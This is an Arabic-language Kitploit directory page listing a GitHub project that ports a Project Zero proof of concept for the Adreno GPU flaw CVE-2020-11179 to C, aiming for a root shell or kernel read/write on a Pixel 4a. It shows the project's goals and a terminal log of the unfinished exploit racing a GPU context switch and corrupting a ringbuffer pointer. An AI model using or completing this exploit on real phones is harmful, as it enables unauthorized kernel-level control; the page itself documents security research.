Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — جهود تحويل ثغرة CVE-2020-11179 في معالج Adreno-Qualcomm-GPU إلى منتج، الـ poc الأصلي من Ben Hawkes من P0 | Kitploit
أدوات/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الجوالأمن الأجهزةاستغلال الملفات الثنائية
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-11179-Adreno-Qualcomm-GPU

جهود تحويل ثغرة CVE-2020-11179 في معالج Adreno-Qualcomm-GPU إلى منتج، الـ poc الأصلي من Ben Hawkes من P0

عرض المستودع
7315منذ سنة واحدةلم تتم المراجعة بعد

عملي المستقل المشتق من الـ poc الذي أنشأه الباحث P0 Ben Hawkes
المقال الأصلي: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

هدفي هو تحويل الـ poc الخاص به إلى C، والاستمرار من حيث توقف، وتحويل الـ poc إما إلى root shell،
أو إلى kernel r/w، ثم تغيير النظام بطريقة ما لإظهار تنفيذ kernel.

  • على الأرجح، إزاحة ttbr0 مختلفة على هاتف الاختبار الخاص بي
  • يجب حسابها وتصحيح أخطائها للعثور على الإزاحة

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

جهاز الاختبار: pixel 4a
android 10 على الإصدار QD4A.2000317.027

للقيام به:

  • العمل على تبديل السياق وحالة السباق
  • لتحقيق تنفيذ kernel code
تنزيل الأداة